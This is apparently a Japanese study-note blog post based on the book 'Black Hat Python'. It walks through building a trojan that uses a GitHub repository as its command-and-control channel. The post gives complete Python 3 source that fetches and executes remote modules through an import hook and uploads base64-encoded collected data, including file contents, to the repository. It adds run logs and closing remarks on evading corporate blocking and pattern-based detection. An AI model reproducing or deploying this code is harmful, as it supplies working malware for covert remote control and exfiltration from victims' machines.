本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。
今回は、マルウェアの中でも歴史が古く、有名な「トロイの木馬」について学んでいきます。
- マルウェアとは
- トロイの木馬とは
- スクリプトの概要
- GitHubにリポジトリを作成する
- モジュールの作成
- トロイの木馬の設定
- GitHubから指令を受信するトロイの木馬の作成
- 動作確認
- 最後に
- 参考書籍
マルウェアとは
マルウェアとは、「Malicious Software(悪意のあるソフトウェア)」を略したもので、ウイルス、ワームおよびトロイの木馬など、コンピュータに対して意図的に害を与えるソフトウェアを総称したものを言います。
なお、以下はIPA(独立行政法人情報処理推進機構)が公表している2018年の情報セキュリティ10大脅威になります。
トロイの木馬とは
トロイの木馬(torojan horse)とは、かつてギリシア神話のトロイア戦争で使われた装置で、これに似た動作をするマルウェアであることから、この呼び名が付けられました。
歴史的には1980年代半ばには出現が確認されていることから、インターネットの黎明期から存在するマルウェアとなります。
ウイルスとは違い、自己増殖はせず単体で活動をするプログラムで、主にバックドアを開いたり、C&C(Command & Control)サーバからの命令を待ち、情報収集やDDoS(Distributed Denial of Service)攻撃などを実行します。
今回はGitHubを使って、トロイの木馬の設定ファイルを読み込ませたり、収集したデータをアップロードしたりさせます。
GitHubとは
GitHubとは、ソフトウェア開発のプラットフォームと呼ばれるものであり、自分が作成したソースコードを簡単にGitHub上にホスティングしたり、また他の人が作成しているリポジトリのクローンを簡単に作成したり、またはプロジェクト管理の効率化として利用されているツールです。
アカウントは無料で作成でき、2019年1月からは無料ユーザでもプライベートのリポジトリが作成できるようになりました。
スクリプトの概要
今回作成するスクリプトは、github3というPython向けのGitHub APIライブラリを使用します。
リモートホストは、このAPIを実行してリポジトリから各トロイの木馬の設定ファイルを読み込み、実行した結果をリポジトリにプッシュしていきます。
GitHubとの通信はSSLで暗号化され、またプッシュしたデータはBase64でエンコードします。
今回は、カレントディレクトリ上にあるファイルを確認する簡単なモジュールを作成していますが、キーロガーやスクリーンショットを作成するツールなど、その用途は多岐にわたります。
GitHubにリポジトリを作成する
GitHubにログインし、"New repository"から新規リポジトリを作成します。
リポジトリを作成したら、Gitクライアントのターミナルを起動し、以下のコマンドを実行します。
> mkdir <リポジトリ名> > cd <リポジトリ名> > git init > mkdir modules > mkdir config > mkdir data > touch modules/.gitignore > touch config/.gitignore > touch data/.gitignore > git add . > git commit -m "Adding repo structure for trojan." > git remote add origin <リポジトリのURL> > git push origin master
再度GitHubにログインし、作成したディレクトリやファイルが追加されているか確認します。
モジュールの作成
まずは簡単にカレントディレクトリ上にあるファイルを確認するモジュールを作成します。
modulesディレクトリに以下の"dirlister.py"を追加します。
# dirlister.py import os def run(**args): print("[*] In dirlister modules.") files = os.listdir(".") return str(files)
トロイの木馬の設定
上記で作成したモジュールの一覧をJSON形式のファイルとして作成します。
configディレクトリに以下の"module_list.json"を作成します。
# module_list.json [ {"module": "dirlister"} ]
GitHubから指令を受信するトロイの木馬の作成
# git_trojan.py import json import base64 import sys import time import imp import random import threading import queue import os from github3 import login trojan_id = "test" trojan_config = "module_list.json" data_path = 'data/{}/'.format(trojan_id) trojan_modules = [] configured = False task_queue = queue.Queue() class GitImporter: def __init__(self): self.module_code = None def find_module(self,fullname,path=None): if configured: print("[*] Attempting to retrieve {}".format(fullname)) new_library = get_file_contents("modules/{}".format(fullname)) if new_library is not None: self.module_code = new_library return self return None def load_module(self,name): module = imp.new_module(name) exec(self.module_code, module.__dict__) sys.modules[name] = module return module def connect_to_github(): gh = login(username='username', password='password') repo = gh.repository('username', 'repository_name') branch = repo.branch('master') return gh, repo, branch def get_file_contents(filepath): gh, repo, branch = connect_to_github() if gh and repo and branch: hash_list = branch.commit.commit.tree.to_tree().recurse() for hash in hash_list.tree: if filepath in hash.path: print("[*] Found file {}".format(filepath)) file_contents_b64 = repo.blob(hash.sha).content file_contents = base64.b64decode(file_contents_b64).decode('utf-8') return file_contents return None def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(config_json) configured = True for task in config: module = task['module'] if module not in sys.modules: exec('import {}'.format(module)) return config def store_module_result(data): gh, repo, branch = connect_to_github() remote_path = "data/{}/{}.data".format(trojan_id, random.randint(1000, 100000)) repo.create_file(remote_path, "Commit message", base64.b64encode(data.encode())) return def module_runner(module): task_queue.put(1) result = sys.modules[module].run() task_queue.get() store_module_result(result) return sys.meta_path = [GitImporter()] while True: if task_queue.empty(): config = get_trojan_config() for task in config: t = threading.Thread(target=module_runner,args=(task['module'],)) t.start() time.sleep(random.randint(1,10)) #time.sleep(random.randint(1000,10000)) time.sleep(180)
21行目のGitImporterクラスは、もしインポートするモジュールがsys.modulesになかった場合に、呼び出されるもので、92行目のsys.meta_pathに登録することで機能します。
43行目のconnect_to_github()は、GitHubに接続する処理を行い、Gitの認証情報、カレントリポジトリおよびブランチの各オブジェクトを返します。
50行目のget_file_contents()は、GitHub上にあるファイルを確認し、必要なファイル(モジュール)の情報を返します。
64行目のget_trojan_config()は、JSON形式で記述したモジュール一覧を取得します。もし、モジュールがsys.modulesになかった場合は、前述のGitImporterクラスを呼び出し、sys.modulesに追加します。
77行目のstore_module_result()は、実行した関数の結果をGitHubにプッシュします。なお、データはBase64でエンコードします。
83行目のmodule_runner()は、上記のモジュールの実行やGitHubに結果を保存するメインの関数になります。
動作確認
それでは上記で作成したスクリプトを実行します。
今回はテストのため、アップデート間隔を3分にしてあります。
> python git_trojan.py [*] Found file module_list.json [*] Attempting to retrieve dirlister [*] Found file modules/dirlister [*] In dirlister modules.
dirlisterモジュールをインポートし、実行しています。
ローカルホストで早速プルして、dataディレクトリに作成されたファイルを確認してみます。
> type 31786.data WydnaXRfdHJvamFuLnB5JywgJ3Rlc3QudHh0J10= > certutil -decode 31786.data listdir.txt 入力長 = 40 出力長 = 29 CertUtil: -decode コマンドは正常に完了しました。 > type listdir.txt ['git_trojan.py', 'test.txt']
PowerShellからtypeコマンドでファイルがBase64でエンコードされているのを確認した後に、certutilコマンドでデコードした結果を確認しています。
上記の"test.txt"というファイルが気になるので、ファイルの中身を確認するためのモジュールを追加してみます。
# save_file.py def run(**args): with open('test.txt', 'r') as f: results = f.read() return results
また、configディレクトリの"module_list.json"にも追加をし、プッシュします。
リモート側のスリープ時間が経過したら、以下のログが出力され、先ほど作成したモジュールをインポートしているのが確認できます。
... [*] Found file module_list.json [*] Attempting to retrieve save_file [*] Found file modules/save_file [*] In dirlister modules.
再度ローカルホスト側でプルし、作成されたファイルを確認してみます。
> type 94739.data dGhpcyBpcyBhIHRlc3QuCnRoaXMgaXMgYSB0ZXN0Lgp0aGlzIGlzIGEgdGVzdC4= > certutil -decode 94739.data test.txt 入力長 = 64 出力長 = 47 CertUtil: -decode コマンドは正常に完了しました。 > type test.txt this is a test. this is a test. this is a test.
問題なくファイルの中身が保存されているのが確認できました。
最後に
今回はGitHubを使ったトロイの木馬の作成方法について学びました。
書籍にも書かれていますが、GitHubの通信をブロックしている企業はほとんどいないと思いますし、またリポジトリとのやり取りはSSLで暗号化されています。
実行においても、ランダムな時間間隔を置き、不規則性を設けることで、パターン解析による検知を避けることができます。
また今回のようなidを設けることで、リモートホストの一括管理も可能になるので、とても効率的に操作が可能になると思います。